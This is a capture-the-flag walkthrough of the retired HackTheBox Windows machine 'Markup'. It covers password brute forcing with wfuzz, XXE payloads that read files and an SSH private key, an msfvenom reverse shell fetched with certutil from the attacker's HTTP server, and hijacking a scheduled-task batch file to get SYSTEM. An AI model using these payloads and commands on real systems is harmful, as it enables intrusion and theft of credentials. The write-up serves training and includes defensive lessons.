the_open_door
coffee
ESEN

Markup

HackTheBoxEasyWindows10.129.69.1138 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#xxe#xml#arbitrary-file-read#brute-force#wfuzz#rockyou#ssh-key#burp#scheduled-task#batch#writable-file#msfvenom#certutil#windows#oscp
TL;DR. Markup is an easy Windows box with two chained flaws and nothing exotic about either. The first is a dictionary password on the login form, which falls to wfuzz filtering by line count (password brute force). Inside there is an order form that, as the network panel shows, sends XML to the server, and that XML is parsed with external entities enabled: declaring an <!ENTITY ... SYSTEM 'file:///...'> makes the server hand back the contents of whatever file we ask for (XXE, arbitrary file read). The username comes out of a comment in the page's own source (credentials in source code) and their SSH private key comes out through the same XXE. Once inside, the escalation is a writable .bat file run by a privileged scheduled task (scheduled task hijacking): overwrite it, wait, and the shell arrives as SYSTEM.
About the evidence. Four captures are published, all of them interfaces and all of them needed (section 12.7 of the standard): the order form with Firefox's network panel showing the request body is XML, the two Burp screens with the request and response of both XXEs, and the view-source where the comment that gives the username shows up. The private key is NOT transcribed: it is visible in its capture and it is written nowhere in the vault, so putting it into text would mean reconstructing it. Three gaps the note does not preserve, stated instead of filled in: how one gets from the login screen to services.php, how C:\Log-Management\job.bat is discovered, and the scheduled task that runs it, which is never enumerated anywhere. There is also an IP change flagged where it happens: the scan and the XXE belong to a session where the box was 10.129.69.113, and the final shell arrives from 10.129.95.192, the same box on another boot. Both flags are complete because the box is retired.

Recon#

Initial scan#

The returning TTL points at the operating system: each OS starts it at a default value and each router drops it by one per hop. ttl=127 is 128 minus one hop, so Windows.


ping -c 1 10.129.69.113
64 bytes from 10.129.69.113: icmp_seq=1 ttl=127 time=66.3 ms

sudo nmap -p- -sS --min-rate 5000 -Pn -n --open 10.129.69.113
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-07 16:13 EST
Nmap scan report for 10.129.69.113
Host is up (0.066s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Three ports. A Windows box with SSH open is already a hint: it does not come that way out of the box, somebody installs it, and if a private key ever turns up that is where to use it.


nmap -p22,80,443 -sCV 10.129.69.113 -oN targetedScan
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-07 16:17 EST
Nmap scan report for 10.129.69.113
Host is up (0.067s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
|   256 90:7d:96:a9:6e:9e:4d:40:94:e7:bb:55:eb:b3:0b:97 (ECDSA)
|_  256 f9:10:eb:76:d4:6d:4f:3e:17:f3:93:d6:0b:8c:4b:81 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-title: MegaShopping
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
443/tcp open  ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
| tls-alpn: 
|_  http/1.1
|_http-title: MegaShopping
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

OpenSSH for_Windows_8.1, an Apache with PHP 7.2.28 on Windows (another XAMPP-style stack) and a localhost certificate that expired in 2019. Ports 80 and 443 serve the same thing, MegaShopping.

HTTP - TCP 80#


whatweb http://10.129.69.113
http://10.129.69.113 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28], IP[10.129.69.113], OpenSSL[1.1.1c], PHP[7.2.28], PasswordField[password], PoweredBy[Megacorp], Script, Title[MegaShopping], X-Powered-By[PHP/7.2.28]

PasswordField[password]: there is a login screen. The source says how it is submitted.


curl http://10.129.69.113
...
    <body translate="no">
    <br/><br/><br/><br/>
    <div class="cont">
        <div class="form sign-in">
            <h2>Welcome!</h2>
            <label>
                <span>Username</span>
                <form action="" method="POST">
                    <input type="text" name="username"/>
            </label>
            <label>
                <span>Password</span>
                <input type="password" name="password"/>
            </label>
            <button type="submit" class="submit">Sign In</button>
            </form>
        </div>
...
    <div id="footer" class="container">
        <div class="title">
            <span class="byline">Powered by Megacorp</span>
        </div>
    </div>
    </body>
    </html>

A POST to the page itself with two fields, username and password. Nothing else: no link to another route, no .php to enumerate. Everything there is sits behind that form.

Access: a dictionary password#

With no users to enumerate the usual one gets tried, admin, and the password is fuzzed. The --hh=66 filter hides the 66-line response, which is a failed attempt: whatever is left is what behaved differently.


wfuzz -u https://10.129.69.113/ -d 'username=admin&password=FUZZ' -w /usr/share/wordlists/rockyou.txt --hh=66
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://10.129.69.113/
Total requests: 14344392

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000004:   302        0 L      0 W        0 Ch        "password"   

Entry 4 out of fourteen million: the password is literally password, and the response is not a 200 with the form again but a 302, a redirect, which is what an application does when a login succeeds. Credential: admin / password.

wfuzz's warning about pycurl and OpenSSL is not the attack failing: it warns that its library was not compiled against OpenSSL and that fuzzing over HTTPS may misbehave. It did not here.

The XXE: the order form#

The browser's request#

Firefox at https://10.129.69.113/services.php with the order form (Type of Goods set to Home Appliances, Quantity 1, Address and a Submit button). Below it, the network panel with the POST to process.php returning 200 and the Request tab showing, boxed in red, that the request body is not form fields but an XML document, with the order, quantity and item tags, and the value Home Appliances inside item

This capture is what opens the box. The form looks like an ordinary one, but the network panel shows that what goes to process.php is not form fields, it is an XML document. And wherever there is an XML parser in PHP it is worth testing whether it accepts external entities: an entity is a shorthand declared in the DOCTYPE and used later as &name;, and if it carries SYSTEM the parser goes and fetches its content from whatever URL or file it is told.

The usual probe on Windows is win.ini, because it is on every install and it is good for nothing.

<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>

Burp with the request on the left and the response on the right. The request is a POST /process.php to 10.129.69.113 with Content-Type application/xml, the DOCTYPE with a test entity pointing at file:///c:/windows/win.ini and a <code>&test;</code> inside <code><item></code>. The response is a 200 from Apache/2.4.41 PHP/7.2.28 whose body reads "Your order for ; for 16-bit app support", followed by [fonts], [extensions], [mci extensions], [files], [Mail], MAPI=1, [Ports], COM1:=9600,n,8,1 and "has been processed"

It works, and the response shows exactly how it works: the application builds the sentence "Your order for whatever has been processed", and whatever is the file's content. The whole win.ini comes out embedded in the middle of the sentence.

Whose key to read#

An XXE gives file reading, but you have to know what to read. The interesting file on a Windows box with SSH is a private key, and private keys live in C:\Users\<somebody>\.ssh\id_rsa. The <somebody> is missing, and the page itself provides it.

view-source of https://10.129.69.113/services.php in Firefox. The start of the document is visible (DOCTYPE html, head, the title "Goods &amp; Services") and, on line 8, an HTML comment: <code><!-- Modified by Daniel : UI-Fix-9092--></code>

A development comment with a first name inside, one of the classic places where information nobody thought of as information gets left behind (credentials in source code). The user is daniel.

<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>

Burp Repeater with the POST /process.php request, the DOCTYPE with the entity pointing at file:///c:/users/daniel/.ssh/id_rsa and the <code>&test;</code> inside <code><item></code>. The response starts with "Your order for -----BEGIN OPENSSH PRIVATE KEY-----" followed by some thirty base64 lines of the key

daniel's private key, served by a shop. It is not transcribed here: the note does not have it written as text anywhere, only in this capture, and turning it into text would mean reconstructing evidence that does not exist.


nano id_rsa

chmod 600 id_rsa

The chmod 600 is not cosmetic: ssh refuses to use a private key other users can read and aborts with a warning.


ssh daniel@10.129.69.113 -i id_rsa
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

daniel@MARKUP C:\Users\daniel>

cd Desktop

type user.txt
032d2fc8952a8c24e39c8f0ee9918ef7

The first flag: 032d2fc8952a8c24e39c8f0ee9918ef7. Windows' SSH opens cmd.exe, not a Unix shell, and the version line printed on connecting is the box's own.

Privilege escalation#

The daniel account#


whoami /all
USER INFORMATION
----------------

User Name     SID
============= =============================================
markup\daniel S-1-5-21-103432172-3528565615-2854469147-1000


GROUP INFORMATION
-----------------

Group Name                             Type             SID                                           Attributes
====================================== ================ ============================================= 
Everyone                               Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
MARKUP\Web Admins                      Alias            S-1-5-21-103432172-3528565615-2854469147-1001 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users        Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

There is nothing to abuse here: two privileges, the ones every user has, and medium integrity. The only group that is not stock is MARKUP\Web Admins, created by hand (its SID ends in 1001, right after daniel's), and what a group grants does not show in a whoami: it shows in file permissions.

The road is C:\Log-Management\job.bat, a batch script a scheduled task runs with privileges and that daniel can write to (scheduled task hijacking). The note does not preserve how it was found: there is no icacls over the directory, no schtasks /query, no output from any enumerator. The prompt simply shows up already inside C:\Log-Management. It is said here rather than inventing the missing enumeration.

Overwriting the .bat#


msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.160 LPORT=1234 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: exe

python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

The .bat gets rewritten with two echos: the first, with >, creates it from scratch (wiping whatever was inside) and the second, with >>, appends the line that matters.


echo @echo off > job.bat

echo C:\Log-Management\shell.exe >> job.bat

certutil.exe -f -urlcache -split http://10.10.15.160:8081/shell.exe shell.exe
http://10.10.15.160:8081/shell.exe

WinHttp Cache entries: 1

****  Online  ****
CertUtil: -URLCache command completed successfully.

And from here there is nothing to do but wait for the task to fire.


nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.95.192 49673
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

The connecting IP is not the one from the scan, and that is not a mistake: 10.129.95.192 is the same box on another lab boot, which is when this part was done. The working directory, C:\Windows\system32, is the one the Task Scheduler uses, and that alone says who launched the process.


type C:\users\administrator\desktop\root.txt
type C:\users\administrator\desktop\root.txt
f574a3e7650cebd8c39784299cb570f8

Second flag: f574a3e7650cebd8c39784299cb570f8. The echo of the command before its output is a raw shell with no pseudo-terminal repeating what is typed into it.

Attack chain#

ping ttl=127 → Windows  /  nmap: 22 (OpenSSH for Windows), 80 and 443 (the same MegaShopping)
  │  whatweb: PHP 7.2.28 and a PasswordField
  ▼
wfuzz -d 'username=admin&password=FUZZ' --hh=66  ─►  302 on "password"
  │  admin:password
  ▼
services.php  ─►  the network panel: the POST to process.php sends XML
  │  <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>  ─►  it comes back
  ▼
view-source of services.php  ─►  <!-- Modified by Daniel : UI-Fix-9092-->
  │  ENTITY ... 'file:///c:/users/daniel/.ssh/id_rsa'  ─►  the private key
  ▼
chmod 600 id_rsa  +  ssh daniel@<ip> -i id_rsa  ─►  user.txt
  │  whoami /all: medium integrity, two privileges, group MARKUP\Web Admins
  ▼
C:\Log-Management\job.bat  writable and run by a scheduled task [escalation]
  │  echo @echo off > job.bat  +  echo C:\Log-Management\shell.exe >> job.bat
  ▼
certutil pulls shell.exe  ─►  nc -nlvp 1234  ─►  C:\Windows\system32  ─►  root.txt

Lessons learned#

  • Look at what the browser sends, not at what the form looks like. The Type of Goods, Quantity and Address fields look like an ordinary form; the network panel shows the request body is XML. The whole box hangs on opening that tab.
  • An XML parser that accepts external entities is file reading. Nothing has to be overflowed or injected: just declare a SYSTEM entity and use it where the application will print something. It is closed by disabling external entities in the parser, which is one configuration line.
  • An arbitrary read is worth whatever you know to ask it for. The win.ini only proves it works; what opens the box is knowing there is an SSH and that keys live in C:\Users\<user>\.ssh\. The username was in a development comment, which is exactly what nobody reviews before shipping.
  • A line-count filter turns an impossible fuzz into a four-attempt one. Fourteen million passwords do not get tried in full; what you look for is the response that behaves differently, and here it was a 302 with zero lines against the usual 66 of the form.
  • An empty whoami /all does not mean there is no escalation. daniel has not one privilege worth abusing, and still writes to a file that SYSTEM executes. File permissions do not show in the token: you have to go looking for them.
  • A writable .bat run by a scheduled task is an open door on a timer. The attack needs no exploit and no trick, only patience: write the content and wait for the Task Scheduler to do its job.
Command cheatsheet 18 commands

Quick review